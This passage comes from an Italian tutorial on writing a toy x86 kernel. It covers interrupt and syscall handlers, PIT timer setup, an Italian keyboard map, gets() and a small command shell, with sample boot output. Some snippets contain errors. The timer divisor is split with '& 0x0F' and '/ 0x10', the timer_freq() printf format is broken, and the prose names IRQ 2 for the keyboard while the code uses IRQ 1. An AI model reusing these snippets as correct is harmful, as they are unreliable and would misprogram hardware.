      {
        outb (0xA0, 0x20);
      }
    //
    // Poi manda un messaggio «EOI» al PIC 1.
    //
    outb (0x20, 0x20);
}
```

Anche la funzione ***isr_syscall()*** che dovrebbe prendersi cura delle chiamate di sistema, viene proposta inizialmente priva di alcun effetto.

Listato u10.91. Una prima versione del file '`./05/lib/int/isr_syscall.c`'

```
#include <kernel/int.h>
uint32_t
isr_syscall (uint32_t start, ...)
{
    return 0;
}
```

Piccole funzioni di contorno

Per facilitare l'accesso alle istruzioni '**`STI`**' e '**`CLI`**' del linguaggio assemblatore, vengono predisposte due funzioni con lo stesso nome.

Listato u10.92. ‘./05/lib/int/cli.s’

```
.globl cli
#
cli:
    cli
    ret
```

Listato u10.93. ‘./05/lib/int/sti.s’

```
.globl sti
#
sti:
    sti
    ret
```

Verifica del funzionamento

Per verificare il lavoro svolto fino a questo punto, è necessario sviluppare ulteriormente i file ‘kernel_main.c’, dove in particolare si va a produrre un errore che causa un eccezione dovuta a una divisione per zero.

Figura u10.94. Modifiche da apportare al file ‘./05/kernel/kernel_main.c’

```
#include <kernel/kernel.h>
#include <kernel/build.h>
#include <stdio.h>
#include <kernel/gdt.h>
#include <kernel/mm.h>
#include <stdlib.h>
#include <kernel/int.h>
…
        kernel_memory (info);
        //
        // Predispone la tabella GDT.
        //
        gdt ();
        //
        // Predispone la memoria libera per l'utilizzo.
        //
        mm_init ();
        //
        // Omissis.
        //
        //
        // Predispone la tabella IDT.
        //
        idt();
        //
        // Crea un errore volontario.
        //
        int x = 3;
        x = 7 / (x - 3);        // x = 7 / 0
```

```
…
```

Dopo avere ricompilato, riavviando la simulazione si deve ottenere una schermata simile a quella seguente, dove alla fine si vede la segnalazione di errore dovuta alla divisione per zero:

```
05 20070821144531
[mboot_show] flags: 00000000000000000000011111100111 mlow: 027F mhigh: 00007BC0
[mboot_show] bootdev: 00FFFFFF cmdline: "(fd0)/kernel"
[kernel_memory_show] kernel 00100000..0010D8BC  avail. 0010D8BC..01EF0000
[kernel_memory_show] text   00100000..001049DC  rodata 001049E0..00104F34
[kernel_memory_show] data   00104F34..00104F34  bss    00104F40..0010D8BC
[kernel_memory_show] limit  00001EF0
[gdt_print] base: 0x0010CF88 limit: 0x0017
[gdt_print] 0 00000000000000000000000000000000 00000000010000000001000000000000
[gdt_print] 1 00000000000000000001111011110000 00000000110000001001101000000000
[gdt_print] 2 00000000000000000001111011110000 00000000110000001001001000000000
[mm_init] available memory: 31336256 byte
[irq_remap] PIC (programmable interrupt controller) remap: ICW1, ICW2, ICW3,
ICW4, OCW1.
[isr_exception_unrecoverable] ERROR: exception 0: "division by zero"
```

Chiamate di sistema

Nel sistema in corso di realizzazione sono previste le chiamate di sistema, anche se in pratica sono inutili, dal momento che non è possibile gestire processi elaborativi indipendenti. Queste chiamate si ottengono mettendo gli argomenti nella pila e utilizzando l'interruzione 128 (ovvero 80_{16}). Si osservi che questo meccanismo è diverso da quello usato dal kernel Linux, dove gli argomenti sono passati normalmente attraverso i registri del microprocessore.

Il punto di inizio per una chiamata di sistema è la funzione ***syscall()***, con la quale va indicato il numero della chiamata, seguito dagli argomenti necessari, in base al contesto.

Listato u10.96. '`./05/lib/sys/syscall.c`'

```
#include <sys/syscall.h>
#include <kernel/int.h>
uint32_t
syscall (int n, ...)
{
    return int_128 ();
}
```

Come si vede, ci si limita a utilizzare la funzione ***int_128()***, scritta però in linguaggio assemblatore, come si vede nel listato successivo.

Listato u10.97. '`./05/lib/int/int_128.s`'

```
.globl int_128
#
int_128:
    int $128
    ret
```

Questa doppia mediazione ha delle conseguenze nella composizione della pila dei dati, al momento dell'avvio della funzione che deve trattare l'interruzione.

File di intestazione «syscall.h»

Il file di intestazione '`syscall.h`' dichiara le funzioni usate per generare una chiamata di sistema e poi per eseguirla; inoltre, si definiscono delle macro-variabili per dare un nome alle chiamate che in realtà sono indicate solo per numero.

Listato u10.98. '`./05/include/sys/syscall.h`'

```
#ifndef _SYSCALL_H
#define _SYSCALL_H      1

#include <inttypes.h>
#include <stdarg.h>

#define SYSCALL_malloc       1
#define SYSCALL_realloc      2
#define SYSCALL_free         3
#define SYSCALL_console_putc 4

uint32_t syscall  (int n, ...);
uint32_t vsyscall (int n, va_list ap);

#endif
```

Fasi successive all'interruzione

Una volta provocata l'interruzione 128, si ottiene l'attivazione della funzione ***isr_128()***, la quale avvia a sua volta la funzione ***isr_syscall()*** che deve provvedere a ripescare gli argomenti della chiamata originale, quindi avvia la funzione che può elaborarli: ***vsyscall()***.

Listato u10.99. '`./05/lib/int/isr_syscall.c`'

```
#include <kernel/int.h>
#include <sys/syscall.h>
uint32_t
isr_syscall (uint32_t start, ...)
{
    va_list ap;
    uint32_t value;
    //
    // Colloca il puntatore all'inizio.
    //
    va_start (ap, start);
    //
    // Salta i dati che non servono.
    //
    value = va_arg (ap, uint32_t); // CS
```

```
    value = va_arg (ap, uint32_t); // EFLAGS
    value = va_arg (ap, uint32_t); // ???
    value = va_arg (ap, uint32_t); // ESP
    value = va_arg (ap, uint32_t); // SS
    value = va_arg (ap, uint32_t); // EIP
    value = va_arg (ap, uint32_t); // EIP
    value = va_arg (ap, uint32_t); // n. chiamata
    //
    // Attualmente «ap» punta all'argomento successivo
    // al numero di chiamata.
    //
    return vsyscall (value, ap);
}
```

Listato u10.100. '`./05/lib/sys/vsyscall.c`'

```
#include <sys/syscall.h>
#include <stdint.h>
#include <inttypes.h>
#include <stdlib.h>
#include <stdarg.h>
#include <kernel/vga.h>

uint32_t
vsyscall (int n, va_list ap)
{
    if (n == SYSCALL_malloc)
      {
        size_t  size = va_arg (ap, size_t);
        return (uint32_t) malloc (size);
      }
    else if (n == SYSCALL_realloc)
      {
        void   *ptr  = va_arg (ap, void*);   // Qui, «void*» va scritto
        size_t  size = va_arg (ap, size_t);  // attaccato e senza parentesi.
        return (uint32_t) realloc (ptr, size);
      }
    else if (n == SYSCALL_free)
      {
        void   *ptr  = va_arg (ap, void*);
        free (ptr);
        return 0;
      }
    else if (n == SYSCALL_console_putc)
      {
        int     c   = va_arg (ap, int);
        vga_putc (c);
        return (uint32_t) c;
      }
    else
```

```
        {
          printf ("[%s] ERROR: unknown syscall: %i!\n", __func__, n);
          return -1;
        }
  }
```

Verifica del funzionamento

Per verificare il funzionamento delle chiamate di sistema, si può modificare il file '`kernel_main.c`' nel modo seguente, allo scopo di visualizzare sullo schermo la parola «Ciao».

Figura u10.101. Modifiche da apportare al file '`./05/kernel/kernel_main.c`'

```
#include <kernel/kernel.h>
#include <kernel/build.h>
#include <stdio.h>
#include <kernel/gdt.h>
#include <kernel/mm.h>
#include <stdlib.h>
#include <kernel/int.h>
#include <sys/syscall.h>
...
        //
        // Predispone la memoria libera per l'utilizzo.
        //
        mm_init ();
        //
        // Omissis.
        //
        //
        // Predispone la tabella IDT.
        //
        idt();
        //
        // Prova le chiamate di sistema.
        //
        syscall (SYSCALL_console_putc, 'C');
        syscall (SYSCALL_console_putc, 'i');
        syscall (SYSCALL_console_putc, 'a');
        syscall (SYSCALL_console_putc, 'o');
        syscall (SYSCALL_console_putc, '\n');
...
```

Dopo avere ricompilato, riavviando la simulazione si deve ottenere una schermata simile a quella seguente, dove prima della conclusione si vede l'emissione della parola «Ciao»:

```
05 20070821155848
[mboot_show] flags: 00000000000000000000011111100111 mlow: 027F mhigh: 00007BC0
[mboot_show] bootdev: 00FFFFFF cmdline: "(fd0)/kernel"
[kernel_memory_show] kernel 00100000..0010DADC  avail. 0010DADC..01EF0000
[kernel_memory_show] text   00100000..00104BA8  rodata 00104BC0..00105144
[kernel_memory_show] data   00105144..00105144  bss    00105160..0010DADC
[kernel_memory_show] limit  00001EF0
[gdt_print] base: 0x0010D1A8 limit: 0x0017
[gdt_print] 0 00000000000000000000000000000000 00000000010000000001000000000000
[gdt_print] 1 00000000000000000001111011110000 00000000110000001001101000000000
[gdt_print] 2 00000000000000000001111011110000 00000000110000001001001000000000
[mm_init] available memory: 31335712 byte
[irq_remap] PIC (programmable interrupt controller) remap: ICW1, ICW2, ICW3,
ICW4, OCW1.
Ciao
[kernel_main] system halted
```

Interruzioni hardware

Le interruzioni hardware che vengono gestite in questo sistema sono solo IRQ 0 (temporizzatore o *timer*) e IRQ 1 (tastiera). Il file '`isr_irq.c`' che in precedenza è stato ridotto per sospendere il problema delle interruzioni hardware ha la forma finale del listato successivo.

Listato u10.103. '`./05/lib/int/isr_irq.c`'

```
#include <kernel/int.h>
#include <kernel/io.h>
#include <kernel/timer.h>
#include <kernel/keyboard.h>
void
isr_irq (uint32_t eax, uint32_t ecx, uint32_t edx, uint32_t ebx,
         uint32_t ebp, uint32_t esi, uint32_t edi, uint32_t ds,
         uint32_t es,  uint32_t fs,  uint32_t gs,  uint32_t interrupt)
{
    int irq = interrupt - 32;
    //
    //
    //
    switch (irq)
      {
        case  0: timer (); break;
        case  1: keyboard (); break;
      }
    //
    // Finito il compito della funzione che deve reagire all'interruzione
    // IRQ, occorre informare i PIC (programmable interrupt controller).
    //
    // Se il numero IRQ è tra 8 e 15, manda un messaggio «EOI»
    // (End of IRQ) al PIC 2.
    //
```

```
    if (irq >= 8)
      {
        outb (0xA0, 0x20);
      }
    //
    // Poi manda un messaggio «EOI» al PIC 1.
    //
    outb (0x20, 0x20);
}
```

Gestione del temporizzatore

La gestione del temporizzatore è raccolta dalla libreria che fa capo al file di intestazione '`timer.h`' come appare nel listato successivo.

Listato u10.104. '`./05/include/kernel/timer.h`'

```
#ifndef _TIMER_H
#define _TIMER_H        1

#include <time.h>
#include <kernel/os.h>

void timer      (void);
void timer_freq (clock_t freq);

#endif
```

Il temporizzatore genera impulsi a una frequenza data e a ogni impulso produce un'interruzione. Per regolare tale frequenza occorre comunicare con le porte 43_{16} e 40_{16}, inviando il divisore da applicare alla frequenza di riferimento che è 1,193181 MHz. La funzione ***timer_freq()*** stabilisce la frequenza da generare, calcolando il divisore da applicare.[1]

Listato u10.105. '`./05/lib/timer/timer_freq.c`'

```
#include <kernel/timer.h>
#include <stdint.h>
#include <stdio.h>
void
timer_freq (clock_t freq)
{
    int input_freq = 1193180;
    //
    // La frequenza di riferimento è 1,19318 MHz, la quale va
    // divisa per la frequenza che si intende avere effettivamente.
    //
    int divisor = input_freq / freq;
    //
    // Il risultato deve essere un valore intero maggiore di zero
    // e inferiore di UINT16_MAX, altrimenti è stata chiesta una
    // frequenza troppo elevata o troppo bassa.
```

```
    //
    if (divisor == 0 || divisor > UINT16_MAX)
      {
        printf ("[%s] ERROR: IRQ 0 frequency wrong: %i Hz!\n"
                "[%s]        The min allowed frequency is 18.22 Hz.\n",
                "[%s]        The max allowed frequency is 1.19 MHz.\n",
                __func__, freq, __func__, __func__);
        return;
      }
    //
    // Il valore che si ottiene, ovvero il «divisore», va
    // comunicato al PIT (programmable interval timer),
    // spezzandolo in due parti.
    //
    outb (0x43, 0x36);
    outb (0x40, divisor & 0x0F);        // Byte inferiore del numero.
    outb (0x40, divisor / 0x10);        // Byte superiore del numero.
    //
    // Annota la frequenza attuale degli impulsi provenienti dal
    // PIT (programmable interval timer).
    //
    os.timer.freq = freq;
}
```

La funzione ***timer()*** è quella che viene eseguita automaticamente, ogni volta che si presenta un'interruzione che deriva da un IRQ 0. Di norma lo scopo di una funzione di questo tipo è controllare la gestione corretta dei processi, ma in mancanza di questi, si potrebbero avviare delle funzioni che assicurano un'esecuzione brevissima, salvo il verificarsi di eventi specifici. Nel listato successivo si presenta una funzione ***timer()*** praticamente vuota e i file di intestazione incorporati sono ipotetici.

Listato u10.106. '`./05/lib/timer/timer.c`'

```
#include <kernel/timer.h>
#include <kernel/int.h>
#include <time.h>
void
timer (void)
{
    //
    // Conta le interruzioni.
    //
    os.timer.clocks++;
    //
    // Dovrebbe lanciare lo «schedulatore», ma qui non c'è;
    // pertanto, lancia direttamente delle applicazioni molto
    // brevi (devono garantire di terminare rapidamente).
    //
    ;
    ;
    ;
}
```

L'incremento della variabile ***os.timer.clocks*** consentirebbe di compiere delle azioni quando risulta trascorso un certo intervallo di tempo. Un'ipotesi di utilizzo potrebbe essere quella seguente, dove, ammesso che la frequenza del temporizzatore sia pari a '**CLOCKS_PER_SEC**', al trascorrere di ogni secondo fa qualcosa:

```
void
timer (void)
{
    os.timer.clocks++;
    if ((os.timer.clocks % CLOCKS_PER_SEC) == 0)
      {
        fa_qualcosa
      }
}
```

Gestione della tastiera

«

La gestione della tastiera è raccolta dalla libreria che fa capo al file di intestazione '`keyboard.h`' come appare nel listato successivo.

Listato u10.108. '`./05/include/kernel/keyboard.h`'

```
#ifndef _KEYBOARD_H
#define _KEYBOARD_H     1

#include <kernel/os.h>

void keyboard (void);
void keyboard_load (void);

#endif
```

La funzione ***keyboard_load()*** definisce una mappa della tastiera, memorizzata negli array ***os.kbd.map1[]*** e ***os.kbd.map2[]***. Le due mappe riguardano i due livelli di scrittura: quello normale e quello che solitamente produce principalmente le maiuscole. L'indice degli array corrisponde al codice grezzo generato dalla tastiera (*scancode*). Il listato successivo riguarda una funzione ***keyboard_load()*** adatta alla disposizione italiana dei simboli, tenendo conto però che non si possono generare lettere accentate.

Listato u10.109. '`./05/lib/keyboard/keyboard_load.c`'

```
#include <kernel/keyboard.h>
void
keyboard_load (void)
{
    int i;
    for (i = 0; i <= 127; i++)
      {
        os.kbd.map1[i] = 0;
        os.kbd.map2[i] = 0;
      }
    //
    //
    //
```

```
os.kbd.map1[1]   = 27;      os.kbd.map2[1]   = 27;
os.kbd.map1[2]   = ’1’;     os.kbd.map2[2]   = ’!’;
os.kbd.map1[3]   = ’2’;     os.kbd.map2[3]   = ’"’;
os.kbd.map1[4]   = ’3’;     os.kbd.map2[4]   = ’L’;          // 3, £
os.kbd.map1[5]   = ’4’;     os.kbd.map2[5]   = ’$’;
os.kbd.map1[6]   = ’5’;     os.kbd.map2[6]   = ’%’;
os.kbd.map1[7]   = ’6’;     os.kbd.map2[7]   = ’&’;
os.kbd.map1[8]   = ’7’;     os.kbd.map2[8]   = ’/’;
os.kbd.map1[9]   = ’8’;     os.kbd.map2[9]   = ’(’;
os.kbd.map1[10]  = ’9’;     os.kbd.map2[10]  = ’)’;
os.kbd.map1[11]  = ’0’;     os.kbd.map2[11]  = ’=’;
os.kbd.map1[12]  = ’\’’;    os.kbd.map2[12]  = ’?’;
os.kbd.map1[13]  = ’i’;     os.kbd.map2[13]  = ’^’;          // ì, ^
os.kbd.map1[14]  = ’\b’;    os.kbd.map2[14]  = ’\b’;         // Backspace
os.kbd.map1[15]  = ’\t’;    os.kbd.map2[15]  = ’\t’;
os.kbd.map1[16]  = ’q’;     os.kbd.map2[16]  = ’Q’;
os.kbd.map1[17]  = ’w’;     os.kbd.map2[17]  = ’W’;
os.kbd.map1[18]  = ’e’;     os.kbd.map2[18]  = ’E’;
os.kbd.map1[19]  = ’r’;     os.kbd.map2[19]  = ’R’;
os.kbd.map1[20]  = ’t’;     os.kbd.map2[20]  = ’T’;
os.kbd.map1[21]  = ’y’;     os.kbd.map2[21]  = ’Y’;
os.kbd.map1[22]  = ’u’;     os.kbd.map2[22]  = ’U’;
os.kbd.map1[23]  = ’i’;     os.kbd.map2[23]  = ’I’;
os.kbd.map1[24]  = ’o’;     os.kbd.map2[24]  = ’O’;
os.kbd.map1[25]  = ’p’;     os.kbd.map2[25]  = ’P’;
os.kbd.map1[26]  = ’[’;     os.kbd.map2[26]  = ’{’;          // è, é
os.kbd.map1[27]  = ’]’;     os.kbd.map2[27]  = ’}’;          // +, *
os.kbd.map1[28]  = ’\n’;    os.kbd.map2[28]  = ’\n’;         // Invio
os.kbd.map1[30]  = ’a’;     os.kbd.map2[30]  = ’A’;
os.kbd.map1[31]  = ’s’;     os.kbd.map2[31]  = ’S’;
os.kbd.map1[32]  = ’d’;     os.kbd.map2[32]  = ’D’;
os.kbd.map1[33]  = ’f’;     os.kbd.map2[33]  = ’F’;
os.kbd.map1[34]  = ’g’;     os.kbd.map2[34]  = ’G’;
os.kbd.map1[35]  = ’h’;     os.kbd.map2[35]  = ’H’;
os.kbd.map1[36]  = ’j’;     os.kbd.map2[36]  = ’J’;
os.kbd.map1[37]  = ’k’;     os.kbd.map2[37]  = ’K’;
os.kbd.map1[38]  = ’l’;     os.kbd.map2[38]  = ’L’;
os.kbd.map1[39]  = ’@’;     os.kbd.map2[39]  = ’@’;          // ò, ç
os.kbd.map1[40]  = ’#’;     os.kbd.map2[40]  = ’#’;          // à, °
os.kbd.map1[41]  = ’\\’;    os.kbd.map2[41]  = ’|’;
os.kbd.map1[43]  = ’u’;     os.kbd.map2[43]  = ’U’;          // ù, §
os.kbd.map1[44]  = ’z’;     os.kbd.map2[44]  = ’Z’;
os.kbd.map1[45]  = ’x’;     os.kbd.map2[45]  = ’X’;
os.kbd.map1[46]  = ’c’;     os.kbd.map2[46]  = ’C’;
os.kbd.map1[47]  = ’v’;     os.kbd.map2[47]  = ’V’;
os.kbd.map1[48]  = ’b’;     os.kbd.map2[48]  = ’B’;
os.kbd.map1[49]  = ’n’;     os.kbd.map2[49]  = ’N’;
os.kbd.map1[50]  = ’m’;     os.kbd.map2[50]  = ’M’;
os.kbd.map1[51]  = ’,’;     os.kbd.map2[51]  = ’;’;
os.kbd.map1[52]  = ’.’;     os.kbd.map2[52]  = ’:’;
os.kbd.map1[53]  = ’-’;     os.kbd.map2[53]  = ’_’;
os.kbd.map1[56]  = ’<’;     os.kbd.map2[56]  = ’>’;
os.kbd.map1[57]  = ’ ’;     os.kbd.map2[57]  = ’ ’;
```

```
    //
    os.kbd.map1[55]  = '*';     os.kbd.map2[55]  = '*';
    os.kbd.map1[71]  = '7';     os.kbd.map2[71]  = '7';
    os.kbd.map1[72]  = '8';     os.kbd.map2[72]  = '8';
    os.kbd.map1[73]  = '9';     os.kbd.map2[73]  = '9';
    os.kbd.map1[74]  = '-';     os.kbd.map2[74]  = '-';
    os.kbd.map1[75]  = '4';     os.kbd.map2[75]  = '4';
    os.kbd.map1[76]  = '5';     os.kbd.map2[76]  = '5';
    os.kbd.map1[77]  = '6';     os.kbd.map2[77]  = '6';
    os.kbd.map1[78]  = '+';     os.kbd.map2[78]  = '+';
    os.kbd.map1[79]  = '1';     os.kbd.map2[79]  = '1';
    os.kbd.map1[80]  = '2';     os.kbd.map2[80]  = '2';
    os.kbd.map1[81]  = '3';     os.kbd.map2[81]  = '3';
    os.kbd.map1[82]  = '0';     os.kbd.map2[82]  = '0';
    os.kbd.map1[83]  = '.';     os.kbd.map2[83]  = '.';
    os.kbd.map1[92]  = '/';     os.kbd.map2[92]  = '/';
    os.kbd.map1[96]  = '\n';    os.kbd.map2[96]  = '\n';        // Invio
}
```

La funzione ***keyboard()***, avviata ogni volta che si preme un tasto o lo si rilascia (attraverso l'impulso dato da IRQ 2), interpreta il codice grezzo proveniente dalla tastiera e aggiorna la variabile strutturata ***os.kbd***. Per esempio tiene traccia della pressione dei tasti [*Ctrl*], [*Alt*] e della selezione delle maiuscole. Quando si tratta di un tasto che deve produrre un carattere, questo viene annotato nella variabile ***os.kbd.key***, ma solo se questa è vuota. In pratica ci deve essere un programma che «consuma» questa informazione, azzerando di conseguenza la variabile. Si osservi che la variabile ***os.kbd.echo***, se contiene un valore diverso da zero, indica la richiesta di visualizzare sullo schermo ciò che si preme ed è controllata dalla macroistruzione ***echo()*** (da '`vga.h`').

Listato u10.110. '`./05/lib/keyboard/keyboard.c`'

```
#include <kernel/keyboard.h>
#include <kernel/io.h>
#include <stdio.h>
void
keyboard (void)
{
    unsigned char scancode = inb (0x60);

    //
    // Shift, Shift-Lock, Ctrl, Alt
    //
    switch (scancode)
      {
        case 0x2A: os.kbd.shift = 1; break;
        case 0x36: os.kbd.shift = 1; break;
        case 0xAA: os.kbd.shift = 0; break;
        case 0xB6: os.kbd.shift = 0; break;
        case 0x1D: os.kbd.ctrl  = 1; break;
        case 0x9D: os.kbd.ctrl  = 0; break;
        case 0x38: os.kbd.alt   = 1; break;
        case 0xB8: os.kbd.alt   = 0; break;
```

```
        case 0x3A: os.kbd.shift_lock = ! os.kbd.shift_lock; break;
      }
    //
    // Ctrl+
    //
    if (scancode <= 127 && os.kbd.ctrl && os.kbd.key == 0)
      {
        switch (os.kbd.map1[scancode])
          {
            case 'a':  os.kbd.key = 0x01; break;  // SOH
            case 'b':  os.kbd.key = 0x02; break;  // STX
            case 'c':  os.kbd.key = 0x03; break;  // ETX
            case 'd':  os.kbd.key = 0x04; break;  // EOT
            case 'e':  os.kbd.key = 0x05; break;  // ENQ
            case 'f':  os.kbd.key = 0x06; break;  // ACK
            case 'g':  os.kbd.key = 0x07; break;  // BEL
            case 'h':  os.kbd.key = 0x08; break;  // BS
            case 'i':  os.kbd.key = 0x09; break;  // HT
            case 'j':  os.kbd.key = 0x0A; break;  // LF
            case 'k':  os.kbd.key = 0x0B; break;  // VT
            case 'l':  os.kbd.key = 0x0C; break;  // FF
            case 'm':  os.kbd.key = 0x0D; break;  // CR
            case 'n':  os.kbd.key = 0x0E; break;  // SO
            case 'o':  os.kbd.key = 0x0F; break;  // SI
            case 'p':  os.kbd.key = 0x10; break;  // DLE
            case 'q':  os.kbd.key = 0x11; break;  // DC1
            case 'r':  os.kbd.key = 0x12; break;  // DC2
            case 's':  os.kbd.key = 0x13; break;  // DC3
            case 't':  os.kbd.key = 0x14; break;  // DC4
            case 'u':  os.kbd.key = 0x15; break;  // NAK
            case 'v':  os.kbd.key = 0x16; break;  // SYN
            case 'w':  os.kbd.key = 0x17; break;  // ETB
            case 'x':  os.kbd.key = 0x18; break;  // CAN
            case 'y':  os.kbd.key = 0x19; break;  // EM
            case 'z':  os.kbd.key = 0x1A; break;  // SUB
            case '[':  os.kbd.key = 0x1B; break;  // ESC
            case '\\': os.kbd.key = 0x1C; break;  // FS
            case ']':  os.kbd.key = 0x1D; break;  // GS
            case '^':  os.kbd.key = 0x1E; break;  // RS
            case '_':  os.kbd.key = 0x1F; break;  // US
          }
        //
        if (os.kbd.echo && os.kbd.key)
          {
            (void) putchar (os.kbd.key);
          }
      }
    else if (scancode <= 127 && os.kbd.key == 0 && os.kbd.map1[scancode] != 0)
      {
        if (os.kbd.shift || os.kbd.shift_lock)
          {
```

```
            os.kbd.key = os.kbd.map2[scancode];
          }
        else
          {
            os.kbd.key = os.kbd.map1[scancode];
          }
        //
        if (os.kbd.echo && os.kbd.key)
          {
            (void) putchar (os.kbd.key);
          }
      }
}
```

Verifica del funzionamento

Per verificare il funzionamento delle chiamate di sistema, si può modificare il file '`kernel_main.c`' nel modo seguente. Ciò che si ottiene è di poter visualizzare sullo schermo il primo tasto che si preme (ciò avviene subito dopo la dichiarazione che il sistema è arrestato), in quanto non si possono inserire altri caratteri fino a quando «qualcuno» non svuota ***os.kbd.key***.

Figura u10.111. Modifiche da apportare al file '`./05/kernel/kernel_main.c`'

```
#include <kernel/kernel.h>
#include <kernel/build.h>
#include <stdio.h>
#include <kernel/gdt.h>
#include <kernel/mm.h>
#include <stdlib.h>
#include <kernel/int.h>
#include <sys/syscall.h>
#include <kernel/timer.h>
#include <kernel/keyboard.h>
…
        //
        // Predispone la memoria libera per l'utilizzo.
        //
        mm_init ();
        //
        // Predispone il timer.
        //
        timer_freq (CLOCKS_PER_SEC);
        //
        // Predispone la tastiera.
        //
        keyboard_load ();
        echo ();
        //
        // Predispone la tabella IDT.
        //
```

```
        idt ();
…
```

Dopo avere ricompilato, riavviando la simulazione si deve ottenere una schermata simile a quella seguente, dove dopo l'arresto dichiarato del sistema si può premere un tasto che viene visualizzato:

```
05 20070821183438
[mboot_show] flags: 00000000000000000000011111100111 mlow: 027F mhigh: 00007BC0
[mboot_show] bootdev: 00FFFFFF cmdline: "(fd0)/kernel"
[kernel_memory_show] kernel 00100000..0010E45C  avail. 0010E45C..01EF0000
[kernel_memory_show] text   00100000..001054D8  rodata 001054E0..00105AC8
[kernel_memory_show] data   00105AC8..00105AC8  bss    00105AE0..0010E45C
[kernel_memory_show] limit  00001EF0
[gdt_print] base: 0x0010DB28 limit: 0x0017
[gdt_print] 0 00000000000000000000000000000000 00000000010000000001000000000000
[gdt_print] 1 00000000000000000001111011110000 00000000110000001001101000000000
[gdt_print] 2 00000000000000000001111011110000 00000000110000001001001000000000
[mm_init] available memory: 31333280 byte
[irq_remap] PIC (programmable interrupt controller) remap: ICW1, ICW2, ICW3,
ICW4, OCW1.
[kernel_main] system halted
h
```

Una specie di «shell»

Si conclude il lavoro del sistema giocattolo con una shell elementare, la quale deve acquisire i caratteri prodotti dalla tastiera e svolgere un compito in base al comando impartito. Ma prima di vedere il codice della funzione che svolge questo compito è necessario introdurre un'altra funzione, prevista dallo standard, che in precedenza è stata saltata: ***gets()***, dichiarata nel file di intestazione '`stdio.h`'.

La funzione ***gets()*** ottiene una stringa leggendo continuamente il contenuto della variabile '**`os.kbd.key`**'.

Listato u10.113. '`./05/lib/gets.c`'

```
#include <stdio.h>
#include <kernel/os.h>
char
*gets (char *s)
{
    int i;
    //
    // Legge os.kbd.char.
    //
    for (i = 0; i < 256; i++)
      {
        while (os.kbd.key == 0)
          {
```

```
            //
            // Attende un carattere.
            //
            ;
          }
        s[i] = os.kbd.key;
        os.kbd.key = 0;
        if (s[i] == '\n')
          {
            s[i] = 0;
            break;
          }
      }
    return s;
}
```

Realizzazione della shell

«

La shell è costituita dalla funzione ***shell()***, dichiarata nel file di intestazione '`app.h`', nel quale potrebbero essere inseriti i prototipi di altri tipi di applicazione, da avviare con l'aiuto della shell stessa.

Listato u10.114. '`./05/include/app/app.h`'

```
#ifndef _APP_H
#define _APP_H       1

void shell ();

#endif
```

Listato u10.115. '`./05/app/shell.c`'

```
#include <app/app.h>
#include <stdio.h>
#include <string.h>
#include <kernel/gdt.h>
#include <kernel/kernel.h>
#include <kernel/mm.h>
#include <kernel/multiboot.h>
void
shell (void)
{
    char command[256];
    //
    //
    //
    while (true)
      {
```

```
        printf ("# ");
        //
        // Legge un comando.
        //
        gets (command);
        //
        if (strcmp (command, "quit") == 0
            || strcmp (command, "q") == 0)
          {
            break;
          }
        else if (strcmp (command, "help") == 0
                 || strcmp (command, "h") == 0)
          {
            printf ("shell commands:\n");
            printf ("h|help         = this help\n");
            printf ("q|quit         = quit the shell\n");
            printf ("i mb|info mb   = show multiboot info\n");
            printf ("i gdt|info gdt = show gdt\n");
            printf ("i mem|info mem = show memory map\n");
          }
        else if (strcmp (command, "info mb") == 0
                 || strcmp (command, "i mb") == 0)
          {
            mboot_show ();
          }
        else if (strcmp (command, "info gdt") == 0
                 || strcmp (command, "i gdt") == 0)
          {
            gdt_print (&os.gdtr);
          }
        else if (strcmp (command, "info mem") == 0
                 || strcmp (command, "i mem") == 0)
          {
            kernel_memory_show ();
            mm_list ();
          }
        else
          {
            printf ("[%s] unknown command: %s\n", __func__, command);
          }
      }
  }
```

La shell mostra un invito e si spetta l'inserimento di comandi molto semplici, come '**`i mem`**' per avere la mappa dell'utilizzo della memoria. Se si sbaglia non è possibile correggere e la pressione di tasti per la cancellazione provoca semplicemente la scrittura di codici non gestiti.

Si osservi che anche gli spazi superflui contano come «errori».

Conclusione

Per concludere viene mostrato il listato definitivo del file '`kernel_main.c`', in cui si avvia la shell. Se con questo sistema si volesse fare qualcosa di più, basterebbe intervenire nella shell stessa, senza ritoccare ulteriormente il file '`kernel_main.c`'.

Listato u10.116. '`./05/kernel/kernel_main.c`'

```
#include <kernel/kernel.h>
#include <kernel/build.h>
#include <stdio.h>
#include <kernel/gdt.h>
#include <kernel/mm.h>
#include <stdlib.h>
#include <kernel/int.h>
#include <sys/syscall.h>
#include <kernel/timer.h>
#include <kernel/keyboard.h>
#include <app/app.h>
//
// Funzione principale, da dove si avvia il kernel.
//
void
kernel_main (unsigned long magic, multiboot_t *info)
{
    //
    // Inizializza i dati relativi alla gestione dello schermo VGA,
    // quindi ripulisce lo schermo.
    //
    vga_init ();
    clear ();
    //
    // Data e orario di compilazione.
    //
    printf ("05 %s\n", BUILD_DATE);
    //
    // Cerca le informazioni «multiboot».
    //
    if (magic == 0x2BADB002)
      {
        //
        // Salva e mostra le informazioni multiboot.
        //
        mboot_info (info);
        mboot_show ();
        //
        // Raccoglie i dati sulla memoria fisica.
```

```
        //
        kernel_memory (info);
        //
        // Predispone la tabella GDT.
        //
        gdt ();
        //
        // Predispone la memoria libera per l'utilizzo.
        //
        mm_init ();
        //
        // Predispone il timer.
        //
        timer_freq (CLOCKS_PER_SEC);
        //
        // Predispone la tastiera.
        //
        keyboard_load ();
        echo ();
        //
        // Predispone la tabella IDT.
        //
        idt();
      }
    else
      {
        printf ("[%s] no \"multiboot\" header!\n", __func__);
      }
    //
    // Shell.
    //
    shell ();
    //
    printf ("[%s] system halted\n", __func__);
    _Exit (0);
}
```

Nella schermata successiva si vede una breve interazione con la shell, dove appare anche un errore di digitazione.

```
# help
shell commands:
h|help         = this help
q|quit         = quit the shell
i mb|info mb   = show multiboot info
i gdt|info gdt = show gdt
i mem|info mem = show memory map
# info mb
[mboot_show] flags: 00000000000000000000011111100111 mlow: 027F mhigh: 00007BC0
[mboot_show] bootdev: 00FFFFFF cmdline: "(fd0)/kernel"
# info gdt
[gdt_print] base: 0x0010E068 limit: 0x0017
[gdt_print] 0 00000000000000000000000000000000 00000000010000000001000000000000
[gdt_print] 1 00000000000000000001111011110000 00000000110000001001101000000000
[gdt_print] 2 00000000000000000001111011110000 00000000110000001001001000000000
# info em...
[shell] unknown command: info em...
# info mem
[kernel_memory_show] kernel 00100000..0010E5A4  avail. 0010E5A4..01EF0000
[kernel_memory_show] text   00100000..001058F4  rodata 00105900..0010600C
[kernel_memory_show] data   0010600C..0010600C  bss    00106020..0010E5A4
[kernel_memory_show] limit  00001EF0
